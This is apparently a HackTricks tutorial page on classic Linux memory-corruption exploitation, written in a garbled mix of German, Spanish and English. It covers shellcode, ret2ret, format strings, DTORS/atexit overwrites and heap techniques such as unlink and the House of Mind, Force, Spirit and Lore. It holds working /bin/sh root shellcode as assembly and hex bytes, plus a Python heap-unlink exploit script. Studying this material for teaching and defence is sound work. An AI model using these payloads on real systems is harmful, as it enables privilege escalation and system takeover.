.. | ||
rop-leaking-libc-address | ||
bypassing-canary-and-pie.md | ||
format-strings-template.md | ||
fusion.md | ||
README.md | ||
ret2lib.md | ||
rop-syscall-execv.md |
Linux Exploiting (Basic) (SPA)
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merch
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.
2.SHELLCODE
Siehe Kernel-Unterbrechungen: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”
setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1
xor eax, eax ; löschen von eax
xor ebx, ebx ; ebx = 0 da kein Argument übergeben wird
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Syscall ausführen
nasm -f elf assembly.asm —> Gibt uns eine .o-Datei zurück
ld assembly.o -o shellcodeout —> Erzeugt eine ausführbare Datei aus dem Assemblercode, aus der wir die Opcodes mit objdump extrahieren können
objdump -d -Mintel ./shellcodeout —> Um sicherzustellen, dass es sich tatsächlich um unseren Shellcode handelt und um die Opcodes zu extrahieren
Überprüfen Sie, ob der Shellcode funktioniert
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
Para verificar, ob die Systemaufrufe korrekt ausgeführt werden, muss das vorherige Programm kompiliert werden und die Systemaufrufe sollten in strace ./KOMPILIERTE_PROGRAMM erscheinen.
Beim Erstellen von Shellcodes kann ein Trick angewendet werden. Die erste Anweisung ist ein Sprung zu einem Aufruf. Der Aufruf ruft den Originalcode auf und legt zusätzlich den EIP im Stack ab. Nach der Aufrufanweisung haben wir den benötigten String platziert, sodass wir mit diesem EIP auf den String zeigen und den Code weiter ausführen können.
BEISPIEL TRICK (/bin/sh):
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
EJ using the Stack(/bin/sh):
EJ mit dem Stack(/bin/sh):
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
EJ FNSTENV:
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
Egg Hunter:
Besteht aus einem kleinen Code, der die Speicherseiten eines Prozesses nach der darin gespeicherten Shellcode durchsucht (sucht nach einer Signatur im Shellcode). Nützlich in Fällen, in denen nur wenig Platz zum Einspritzen von Code zur Verfügung steht.
Polymorphe Shellcodes
Es handelt sich um verschlüsselte Shells, die über kleine Codes verfügen, die sie entschlüsseln und zu ihnen springen lassen, unter Verwendung des Call-Pop-Tricks, hier ein Beispiel für eine Caesar-Verschlüsselung:
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
5. Zusätzliche Methoden
Ret2Ret
Nützlich, wenn die Adresse des Stacks nicht in den EIP eingegeben werden kann (überprüfen, dass der EIP nicht 0xbf enthält) oder wenn der Speicherort des Shellcodes nicht berechnet werden kann. Wenn jedoch die anfällige Funktion einen Parameter akzeptiert (der Shellcode wird hier platziert).
Durch das Ändern des EIP in eine Adresse zu einem ret wird die nächste Adresse geladen (die Adresse des ersten Arguments der Funktion). Das bedeutet, dass der Shellcode geladen wird.
Der Exploit würde sein: SHELLCODE + Padding (bis zum EIP) + &ret (die nächsten Bytes des Stacks zeigen auf den Beginn des Shellcodes, da die Adresse des übergebenen Parameters in den Stack eingefügt wird)
Es scheint, dass Funktionen wie strncpy nach Abschluss die Adresse, an der der Shellcode gespeichert war, vom Stack entfernen und diese Technik unmöglich machen. Mit anderen Worten, die Adresse, die der Funktion als Argument übergeben wird (die den Shellcode speichert), wird durch eine 0x00 ersetzt, sodass beim Aufruf des zweiten ret eine 0x00 gefunden wird und das Programm abstürzt.
Murat-Technik
In Linux werden alle Programme bei 0xbfffffff gemappt.
Durch Betrachten des Aufbaus des Stacks eines neuen Prozesses in Linux kann ein Exploit entwickelt werden, sodass das Programm in einer Umgebung gestartet wird, in der nur eine Variable vorhanden ist, nämlich der Shellcode. Die Adresse davon kann dann berechnet werden als: addr = 0xbfffffff - 4 - strlen(KOMPLETTER_AUSFÜHRBARER_NAME) - strlen(shellcode)
Auf diese Weise könnte die Adresse, an der sich die Umgebungsvariable mit dem Shellcode befindet, einfach erhalten werden.
Dies ist möglich, da die Funktion execle es ermöglicht, eine Umgebung zu erstellen, die nur die gewünschten Umgebungsvariablen enthält.
Jump to ESP: Windows-Stil
Da ESP immer auf den Anfang des Stacks zeigt, besteht diese Technik darin, den EIP durch die Adresse eines jmp esp oder call esp zu ersetzen. Auf diese Weise wird der Shellcode nach der Überschreibung des EIP gespeichert, da nach dem Ausführen des ret ESP auf die nächste Adresse zeigt, genau dort, wo der Shellcode gespeichert wurde.
Wenn ASLR in Windows oder Linux nicht aktiviert ist, können jmp esp oder call esp aus einem gemeinsam genutzten Objekt aufgerufen werden. Wenn ASLR aktiviert ist, könnte innerhalb des anfälligen Programms gesucht werden.
Darüber hinaus ermöglicht die Platzierung des Shellcodes nach der EIP-Korruption anstelle in der Mitte des Stacks, dass die push- oder pop-Anweisungen, die in der Funktion ausgeführt werden, die Shellcode nicht berühren (was passieren könnte, wenn sie in der Mitte des Stacks der Funktion platziert würden).
Sehr ähnlich dazu, wenn bekannt ist, dass eine Funktion die Adresse speichert, an der der Shellcode gespeichert ist, kann call eax oder jmp eax (ret2eax) aufgerufen werden.
Integer-Überläufe
Diese Art von Überläufen tritt auf, wenn eine Variable nicht darauf vorbereitet ist, eine so große Zahl wie die übergebene zu verarbeiten, möglicherweise aufgrund einer Verwechslung zwischen vorzeichenbehafteten und vorzeichenlosen Variablen, zum Beispiel:
#include <stdion.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
int len;
unsigned int l;
char buffer[256];
int i;
len = l = strtoul(argv[1], NULL, 10);
printf("\nL = %u\n", l);
printf("\nLEN = %d\n", len);
if (len >= 256){
printf("\nLongitus excesiva\n");
exit(1);
}
if(strlen(argv[2]) < l)
strcpy(buffer, argv[2]);
else
printf("\nIntento de hack\n");
return 0;
}
En el vorherigen Beispiel sehen wir, dass das Programm 2 Parameter erwartet. Der erste ist die Länge des folgenden Strings und der zweite ist der String.
Wenn wir als ersten Parameter eine negative Zahl übergeben, wird angezeigt, dass len < 256 ist und wir diesen Filter passieren, außerdem wird auch strlen(buffer) kleiner als l sein, da l ein unsigned int ist und sehr groß sein wird.
Diese Art von Overflows zielt nicht darauf ab, etwas im Prozess des Programms zu schreiben, sondern darauf, schlecht gestaltete Filter zu umgehen, um andere Schwachstellen auszunutzen.
Nicht initialisierte Variablen
Es ist nicht bekannt, welchen Wert eine nicht initialisierte Variable annehmen kann, und es könnte interessant sein, dies zu beobachten. Es könnte sein, dass sie den Wert annimmt, den eine Variable aus der vorherigen Funktion hatte und diese vom Angreifer kontrolliert wird.
.fini_array
Im Wesentlichen handelt es sich hierbei um eine Struktur mit Funktionen, die aufgerufen werden, bevor das Programm beendet wird. Dies ist interessant, wenn Sie Ihren Shellcode aufrufen können, indem Sie einfach zu einer Adresse springen, oder in Fällen, in denen Sie zurück zu main gehen müssen, um die Format-String ein zweites Mal auszunutzen.
objdump -s -j .fini_array ./greeting
./greeting: file format elf32-i386
Contents of section .fini_array:
8049934 a0850408
#Put your address in 0x8049934
Hinweis, dass dies keine endlose Schleife erzeugt, da der Canary bemerken wird, dass das Ende des Stacks möglicherweise beschädigt ist und die Funktion nicht erneut aufgerufen wird. Daher können Sie mit diesem eine weitere Ausführung der Schwachstelle haben.
Format Strings zum Auslesen von Inhalten
Ein Format-String kann auch missbraucht werden, um Inhalte aus dem Speicher des Programms auszulesen.
Zum Beispiel gibt es in der folgenden Situation eine lokale Variable im Stack, die auf eine Flagge zeigt. Wenn Sie herausfinden, wo im Speicher der Zeiger auf die Flagge ist, können Sie printf dazu bringen, auf diese Adresse zuzugreifen und die Flagge auszugeben:
Also, die Flagge ist in 0xffffcf4c
Und aus dem Leak können Sie sehen, dass der Zeiger auf die Flagge im 8. Parameter liegt:
Daher können Sie durch Zugriff auf den 8. Parameter die Flagge erhalten:
Beachten Sie, dass Sie nach dem vorherigen Exploit und der Feststellung, dass Sie Inhalte auslesen können, Zeiger auf printf
in den Abschnitt setzen können, in dem das ausführbare Programm geladen ist, und es vollständig auslesen!
DTOR
{% hint style="danger" %} Heutzutage ist es sehr selten, ein Binärprogramm mit einem dtor-Abschnitt zu finden. {% endhint %}
Die Destruktoren sind Funktionen, die ausgeführt werden, bevor das Programm beendet wird.
Wenn es Ihnen gelingt, eine Adresse zu einem Shellcode in __DTOR_END__
zu schreiben, wird dies ausgeführt, bevor das Programm endet.
Holen Sie sich die Adresse dieses Abschnitts mit:
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
In der Regel finden Sie den DTOR-Abschnitt zwischen den Werten ffffffff
und 00000000
. Wenn Sie also nur diese Werte sehen, bedeutet das, dass keine Funktion registriert ist. Überschreiben Sie also die 00000000
mit der Adresse des Shellcodes, um ihn auszuführen.
Format Strings für Buffer Overflows
Die sprintf-Funktion kopiert einen formatierten String in eine Variable. Daher könnten Sie die Formatierung eines Strings missbrauchen, um einen Buffer Overflow in der Variable zu verursachen.
Beispielsweise schreibt das Payload %.44xAAAA
44B+"AAAA" in die Variable, was einen Buffer Overflow verursachen kann.
__atexit-Strukturen
{% hint style="danger" %} Heutzutage ist es sehr seltsam, dies auszunutzen. {% endhint %}
atexit()
ist eine Funktion, der andere Funktionen als Parameter übergeben werden. Diese Funktionen werden ausgeführt, wenn ein exit()
ausgeführt wird oder das Hauptprogramm beendet wird.
Wenn Sie die Adresse einer dieser Funktionen beispielsweise auf einen Shellcode zeigen lassen können, werden Sie die Kontrolle über den Prozess erlangen, aber dies ist derzeit komplizierter.
Derzeit sind die Adressen der auszuführenden Funktionen hinter mehreren Strukturen versteckt, und schließlich zeigen die Adressen, auf die sie zeigen, nicht auf die Adressen der Funktionen, sondern sind verschlüsselt mit XOR und Verschiebungen mit einem zufälligen Schlüssel. Daher ist dieser Angriffsvektor derzeit zumindest auf x86 und x64_86 nicht sehr nützlich.
Die Verschlüsselungsfunktion ist PTR_MANGLE
. Andere Architekturen wie m68k, mips32, mips64, aarch64, arm, hppa... implementieren die Verschlüsselungsfunktion nicht, da sie das Gleiche zurückgeben wie sie als Eingabe erhalten haben. Daher wären diese Architekturen durch diesen Vektor angreifbar.
setjmp() & longjmp()
{% hint style="danger" %} Heutzutage ist es sehr seltsam, dies auszunutzen. {% endhint %}
Setjmp()
ermöglicht es, den Kontext (die Register) zu speichern.
longjmp()
ermöglicht es, den Kontext zu wiederherstellen.
Die gespeicherten Register sind: EBX, ESI, EDI, ESP, EIP, EBP
Das Problem ist, dass EIP und ESP durch die PTR_MANGLE
-Funktion übergeben werden, daher sind die Architekturen, die anfällig für diesen Angriff sind, die gleichen wie oben.
Sie sind nützlich für Fehlerbehebung oder Unterbrechungen.
Jedoch sind nach meinen Recherchen die anderen Register nicht geschützt, so dass, wenn es ein call ebx
, call esi
oder call edi
innerhalb der aufgerufenen Funktion gibt, die Kontrolle übernommen werden kann. Oder Sie könnten auch EBP ändern, um ESP zu ändern.
VTable und VPTR in C++
Jede Klasse hat eine Vtable, die ein Array von Methodenpointern ist.
Jedes Objekt einer Klasse hat einen VPtr, der ein Pointer auf das Array seiner Klasse ist. Der VPtr ist Teil des Headers jedes Objekts, daher könnte, wenn eine Überschreibung des VPtr erreicht wird, dieser so geändert werden, dass er auf eine Dummy-Methode zeigt, sodass beim Ausführen einer Funktion der Shellcode aufgerufen wird.
Präventivmaßnahmen und Umgehungen
Ersetzen von Libsafe
Aktivieren mit: LD_PRELOAD=/lib/libsafe.so.2
oder
“/lib/libsave.so.2” > /etc/ld.so.preload
Einige unsichere Funktionen werden durch sichere Funktionen ersetzt. Nicht standardisiert. (nur für x86, nicht für Kompilierungen mit -fomit-frame-pointer, nicht für statische Kompilierungen, nicht alle anfälligen Funktionen werden sicher gemacht und LD_PRELOAD funktioniert nicht bei SUID-Binärdateien).
ASCII-geschützter Adressraum
Lädt gemeinsam genutzte Bibliotheken von 0x00000000 bis 0x00ffffff, damit immer ein Byte 0x00 vorhanden ist. Dies hält jedoch kaum einen Angriff auf, insbesondere nicht in Little Endian.
ret2plt
Führt ein ROP aus, bei dem die Funktion strcpy@plt (aus der plt) aufgerufen wird und auf den Eintrag in der GOT gezeigt wird und das erste Byte der zu aufrufenden Funktion (system()) kopiert wird. Anschließend wird dasselbe mit GOT+1 gemacht und das 2. Byte von system() kopiert... Schließlich wird die in der GOT gespeicherte Adresse aufgerufen, die system() sein wird.
Chroot-Käfige
debootstrap -arch=i386 hardy /home/user —> Installiert ein grundlegendes System unter einem bestimmten Unterverzeichnis
Ein Administrator kann aus einem dieser Käfige ausbrechen, indem er: mkdir foo; chroot foo; cd ..
Codeinstrumentierung
Valgrind —> Sucht nach Fehlern
Memcheck
RAD (Return Address Defender)
Insure++
8 Heap Overflows: Grundlegende Exploits
Zugewiesenes Stück
prev_size |
size | —Header
*mem | Daten
Freies Stück
prev_size |
size |
*fd | Ptr vorwärts Chunk
*bk | Ptr rückwärts Chunk —Header
*mem | Daten
Die freien Stücke sind in einer doppelt verketteten Liste (bin) und es dürfen niemals zwei freie Stücke nebeneinander sein (sie werden zusammengeführt).
Im "size"-Feld gibt es Bits, um anzuzeigen: ob das vorherige Stück verwendet wird, ob das Stück über mmap() zugewiesen wurde und ob das Stück zum primären Arena gehört.
Wenn ein Stück freigegeben wird und eines der benachbarten Stücke frei ist, werden sie durch die Makro unlink() fusioniert und das größere neue Stück wird an frontlink() übergeben, um es in den entsprechenden Bin einzufügen.
unlink(){
BK = P->bk; —> Das BK des neuen Chunks ist das, was das zuvor freie Stück hatte
FD = P->fd; —> Das FD des neuen Chunks ist das, was das zuvor freie Stück hatte
FD->bk = BK; —> Das BK des nächsten Chunks zeigt auf den neuen Chunk
BK->fd = FD; —> Das FD des vorherigen Chunks zeigt auf den neuen Chunk
}
Daher, wenn es gelingt, P->bk mit der Adresse eines Shellcodes und P->fd mit der Adresse eines Eintrags in der GOT oder DTORS minus 12 zu ändern, wird erreicht:
BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode
Dadurch wird der Shellcode beim Verlassen des Programms ausgeführt.
Außerdem schreibt die 4. Anweisung von unlink() etwas und der Shellcode muss dafür angepasst werden:
BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Dies führt dazu, dass 4 Bytes ab dem 8. Byte des Shellcodes geschrieben werden, daher sollte das erste Instruction des Shellcodes ein Sprungbefehl sein, um dies zu überspringen und zu den Nops zu gelangen, die zum Rest des Shellcodes führen.
Daher wird der Exploit erstellt:
Im Puffer1 wird der Shellcode platziert, beginnend mit einem Sprungbefehl, damit er zu den Nops oder zum Rest des Shellcodes gelangt.
Nach dem Shellcode wird Füllmaterial eingefügt, bis die Felder prev_size und size des nächsten Stücks erreicht sind. An diesen Stellen werden 0xfffffff0 (um prev_size zu überschreiben, damit das Bit angezeigt wird, dass es frei ist) und "-4" (0xfffffffc) in die size eingefügt (damit, wenn im 3. Stück überprüft wird, ob das 2. Stück frei ist, tatsächlich auf die modifizierte prev_size zugegriffen wird, die angibt, dass es frei ist) -> Wenn also free() überprüft, wird es zur size des 3. Stücks gehen, aber tatsächlich zum 2. - 4. und denken, dass das 2. Stück frei ist. Dann wird unlink() aufgerufen.
Beim Aufruf von unlink() werden die ersten Daten des 2. Stücks als P->fd verwendet, sodass die Adresse, die überschrieben werden soll, - 12 (weil FD->bk 12 zur in FD gespeicherten Adresse hinzufügt) dort eingefügt wird. An dieser Stelle wird die zweite Adresse im 2. Stück eingefügt, die die Adresse des Shellcodes sein soll (falsches P->bk).
from struct import *
import os shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno
shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
prev_size = pack("<I”, 0xfffffff0) #Interesa que el bit que indica que el anterior trozo está libre esté a 1
fake_size = pack("<I”, 0xfffffffc) #-4, para que piense que el “size” del 3º trozo está 4bytes detrás (apunta a prev_size) pues es ahí donde mira si el 2º trozo está libre
addr_sc = pack("<I", 0x0804a008 + 8) #En el payload al principio le vamos a poner 8bytes de relleno
got_free = pack("<I", 0x08048300 - 12) #Dirección de free() en la plt-12 (será la dirección que se sobrescrita para que se lanza la shellcode la 2º vez que se llame a free)
payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # Como se dijo el payload comienza con 8 bytes de relleno porque sí
payload += prev_size + fake_size + got_free + addr_sc #Se modifica el 2º trozo, el got_free apunta a donde vamos a guardar la direccion addr_sc + 12
os.system("./8.3.o " + payload)
unset() liberando en sentido inverso (wargame)
Wir kontrollieren 3 aufeinanderfolgende Chunks und geben sie in umgekehrter Reihenfolge frei.
In diesem Fall:
Im Chunk c wird der Shellcode platziert.
Der Chunk a wird verwendet, um das b zu überschreiben, so dass das Bit PREV_INUSE deaktiviert wird, damit der Chunk a als frei betrachtet wird.
Darüber hinaus wird die Größe im Header b überschrieben, damit sie -4 beträgt.
Dann wird das Programm denken, dass "a" frei ist und in einem Bin liegt, und unlink() aufrufen, um es zu entkoppeln. Da jedoch die Kopfgröße PREV_SIZE -4 beträgt, wird angenommen, dass der "a"-Chunk tatsächlich bei b+4 beginnt. Das heißt, es wird ein unlink() auf einen Chunk durchgeführt, der bei b+4 beginnt. Daher wird bei b+12 der "fd"-Zeiger und bei b+16 der "bk"-Zeiger sein.
Auf diese Weise, wenn wir die Adresse des Shellcodes in bk und die Adresse der Funktion "puts()"-12 in fd setzen, haben wir unser Payload.
Frontlink-Technik
Frontlink wird aufgerufen, wenn etwas freigegeben wird und keiner seiner benachbarten Chunks frei ist. Es wird unlink() nicht aufgerufen, sondern direkt frontlink().
Eine nützliche Schwachstelle, wenn der angegriffene malloc nie freigegeben (free()) wird.
Benötigt werden:
Ein Puffer, der mit der Eingabefunktion überlaufen kann
Ein benachbarter Puffer, der freigegeben werden muss und dessen Kopf-FD-Feld durch den Überlauf des vorherigen Puffers geändert wird
Ein Puffer, der größer als 512, aber kleiner als der vorherige Puffer freigegeben wird
Ein vor dem Schritt 3 deklarierter Puffer, der das prev_size dieses Puffers überschreiben kann
Durch das Überschreiben von zwei mallocs auf unkontrollierte Weise und eines auf kontrollierte Weise, der nur einmal freigegeben wird, können wir einen Exploit durchführen.
Vulnerabilität double free()
Wenn free() zweimal mit demselben Zeiger aufgerufen wird, zeigen zwei Bins auf dieselbe Adresse.
Wenn einer erneut verwendet werden soll, wird er ohne Probleme zugewiesen. Wenn der andere verwendet werden soll, wird ihm derselbe Speicherplatz zugewiesen, sodass die "fd"- und "bk"-Zeiger mit den Daten gefälscht werden, die die vorherige Reservierung schreiben wird.
After free()
Ein zuvor freigegebener Zeiger wird erneut ohne Kontrolle verwendet.
8 Heap Overflows: Fortgeschrittene Exploits
Die Techniken Unlink() und FrontLink() wurden entfernt, als die Funktion unlink() geändert wurde.
The house of mind
Es ist nur ein Aufruf von free() erforderlich, um die Ausführung beliebigen Codes zu verursachen. Es ist wichtig, einen zweiten Chunk zu finden, der von einem vorherigen überlaufen und freigegeben werden kann.
Ein Aufruf von free() führt dazu, dass public_fREe(mem) aufgerufen wird, das Folgendes ausführt:
mstate ar_ptr;
mchunkptr p;
…
p = mem2chunk(mes); —> Gibt einen Zeiger auf die Adresse zurück, an der der Chunk beginnt (mem-8)
…
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]
…
_int_free(ar_ptr, mem);
}
In [1] wird das Feld size und das Bit NON_MAIN_ARENA überprüft, das geändert werden kann, damit die Überprüfung true zurückgibt und heap_for_ptr() ausgeführt wird, das ein "and" auf "mem" ausführt und die 2,5 unwichtigsten Bytes auf 0 setzt (in unserem Fall von 0x0804a000 auf 0x08000000) und auf 0x08000000->ar_ptr zugreift (als ob es ein struct heap_info wäre).
Auf diese Weise können wir beispielsweise einen Chunk bei 0x0804a000 kontrollieren und einen Chunk bei 0x081002a0 freigeben, um zur Adresse 0x08100000 zu gelangen und beispielsweise 0x0804a000 zu schreiben. Wenn dieser zweite Chunk freigegeben wird, wird heap_for_ptr(ptr)->ar_ptr den Wert zurückgeben, den wir in 0x08100000 geschrieben haben (da der "and"-Operator auf 0x081002a0 angewendet wird und von dort der Wert der ersten 4 Bytes, ar_ptr, abgeleitet wird).
Daher wird _int_free(ar_ptr, mem) aufgerufen, d.h. _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){
…
bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
..}
Wie wir zuvor gesehen haben, können wir den Wert von av kontrollieren, da wir ihn in dem Chunk geschrieben haben, der freigegeben wird.
Wie unsorted_chunks definiert ist, wissen wir, dass:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;
Daher, wenn wir in av->bins[2] den Wert von __DTOR_END__-12 schreiben, wird in der letzten Anweisung in __DTOR_END__ die Adresse des zweiten Chunks geschrieben.
Das heißt, wir müssen am Anfang des ersten Chunks viele Male die Adresse von __DTOR_END__-12 setzen, weil av->bins[2] sie von dort abrufen wird.
An der Adresse, an der die Adresse des zweiten Chunks mit den letzten 5 Nullen landet, müssen wir die Adresse dieses ersten Chunks setzen, damit heap_for_ptr() denkt, dass ar_ptr am Anfang des ersten Chunks liegt und av->bins[2] von dort abruft.
Im zweiten Chunk und dank des ersten überschreiben wir prev_size mit einem Sprung von 0x0c und size mit etwas, um -> NON_MAIN_ARENA zu aktivieren.
Dann fügen wir im zweiten Chunk viele Nops hinzu und schließlich den Shellcode ein.
Auf diese Weise wird _int_free(CHUNK1, CHUNK2) aufgerufen und die Anweisungen zum Schreiben in __DTOR_END__ der Adresse von prev_size des CHUNK2, der dann zum Shellcode springt, ausgeführt. Para apply this technique, some additional requirements need to be met, which complicate the payload further.
This technique is no longer applicable as almost the same patch as for unlink was applied. It compares if the new site being pointed to is also pointing back to it.
Fastbin
It is a variant of The house of mind.
We are interested in executing the following code, which is reached after the first check of the _int_free() function:
fb = &(av->fastbins[fastbin_index(size)] —> Being fastbin_index(sz) —> (sz >> 3) - 2
...
p->fd = *fb
*fb = p
This way, if "fb" is set to a function address in the GOT, the overwritten chunk will be placed at this address. For this to work, the arena needs to be close to the dtors addresses. More precisely, av->max_fast needs to be at the address we are going to overwrite.
Since with The House of Mind we saw that we controlled the position of av.
So, if we set a size of 8 + NON_MAIN_ARENA + PREV_INUSE in the size field, fastbin_index() will return fastbins[-1], which will point to av->max_fast.
In this case, av->max_fast will be the address to be overwritten (not the one it points to, but that position will be overwritten).
Additionally, the chunk adjacent to the freed one must be larger than 8 -> Since we have stated that the size of the freed chunk is 8, in this fake chunk, we just need to put a size larger than 8 (also, since the shellcode will be in the freed chunk, we need to put a jmp at the beginning that falls into nops).
Moreover, this same fake chunk must be smaller than av->system_mem. av->system_mem is located 1848 bytes beyond.
Due to the nulls of _DTOR_END_ and the few addresses in the GOT, none of these sections' addresses are suitable for overwriting. Let's see how to apply fastbin to attack the stack.
Another way of attack is redirecting the av to the stack.
If we modify the size to be 16 instead of 8, then: fastbin_index() will return fastbins[0], and we can use this to overwrite the stack.
For this, there should be no canary or weird values on the stack; in fact, we need to find this: 4 null bytes + EBP + RET
The 4 null bytes are needed for the av to be at this address, and the first element of an av is the mutex, which must be 0.
The av->max_fast will be the EBP and will be a value that will help us bypass the restrictions.
In av->fastbins[0], the address of p will be overwritten, and it will be the RET, thus jumping to the shellcode.
Additionally, in av->system_mem (1484 bytes above the stack position), there will be enough garbage to bypass the check.
Moreover, the contiguous chunk to the freed one must be larger than 8 -> Since we have mentioned that the size of the freed chunk is 16, in this fake chunk, we just need to put a size larger than 8 (also, since the shellcode will be in the freed chunk, we need to put a jmp at the beginning that falls into nops that come after the size field of the new fake chunk).
The House of Spirit
In this case, we aim to have a pointer to a malloc that can be altered by the attacker (e.g., the pointer is on the stack below a potential overflow to a variable).
Thus, we could make this pointer point wherever we want. However, not every location is valid; the size of the faked chunk must be smaller than av->max_fast and more specifically equal to the size requested in a future malloc() call + 8. Therefore, if we know that after this vulnerable pointer, a malloc(40) is called, the size of the fake chunk must be 48.
For example, if the program asks the user for a number, we could enter 48 and point the modifiable malloc pointer to the next 4 bytes (which could belong to EBP with luck, so the 48 remains behind, as if it were the size header). Additionally, the address ptr-4+48 must meet several conditions (in this case, ptr=EBP), that is, 8 < ptr-4+48 < av->system_mem.
If this is met, when the next malloc call, which we said was malloc(40), is made, the EBP address will be assigned. If the attacker can also control what is written in this malloc, they can overwrite both the EBP and the EIP with the desired address.
I think this is because when it is freed, free() will save that at the address pointing to the EBP of the stack, there is a chunk of the perfect size for the new malloc() being reserved, so it assigns that address.
The House of Force
It is necessary:
- An overflow to a chunk that allows overwriting the wilderness
- A call to malloc() with the size defined by the user
- A call to malloc() whose data can be defined by the user
The first thing to do is overwrite the size of the wilderness chunk with a very large value (0xffffffff), so any sufficiently large memory request will be handled in _int_malloc() without the need to expand the heap.
The second step is to alter av->top to point to a memory area under the attacker's control, such as the stack. In av->top, &EIP - 8 will be placed.
We need to overwrite av->top to point to the memory area under the attacker's control:
victim = av->top;
remainder = chunck_at_offset(victim, nb);
av->top = remainder;
Victim collects the value of the current wilderness chunk address (the current av->top), and remainder is exactly the sum of that address plus the number of bytes requested by malloc(). So, if &EIP-8 is at 0xbffff224 and av->top contains 0x080c2788, then the amount we need to reserve in the controlled malloc for av->top to point to $EIP-8 for the next malloc() will be:
0xbffff224 - 0x080c2788 = 3086207644.
This way, the altered value will be saved in av->top, and the next malloc will point to EIP and can be overwritten.
It is important to ensure that the size of the new wilderness chunk is larger than the request made by the last malloc(). That is, if the wilderness is pointing to &EIP-8, the size will be right in the EBP field of the stack.
The House of Lore
SmallBin Corruption
The freed chunks are placed in the bin based on their size. But before being placed, they are stored in unsorted bins. When a chunk is freed, it is not immediately placed in its bin but remains in unsorted bins. Next, if a new chunk is requested and the previously freed one can be used, it is returned; otherwise, if a larger chunk is requested, the freed chunk in unsorted bins is placed in its appropriate bin.
To reach the vulnerable code, the memory request must be greater than av->max_fast (usually 72) and less than MIN_LARGE_SIZE (512).
If there is a chunk in the bin of the appropriate size for the request, it is returned after unlinking it:
bck = victim->bk; Points to the previous chunk, the only info we can alter.
bin->bk = bck; The penultimate chunk becomes the last one, and if bck points to the stack, the next reserved chunk will be given this address.
bck->fd = bin; The list is closed by making it point to bin.
Requirements: Reservieren Sie zwei mallocs, so dass das erste nach der Freigabe des zweiten überlaufen werden kann und in seinen Bin eingefügt wird (dh ein malloc größer als der zweite Abschnitt reserviert wird, bevor der Überlauf erfolgt).
Der vom Angreifer gewählte Speicherbereich des reservierten mallocs muss kontrolliert werden.
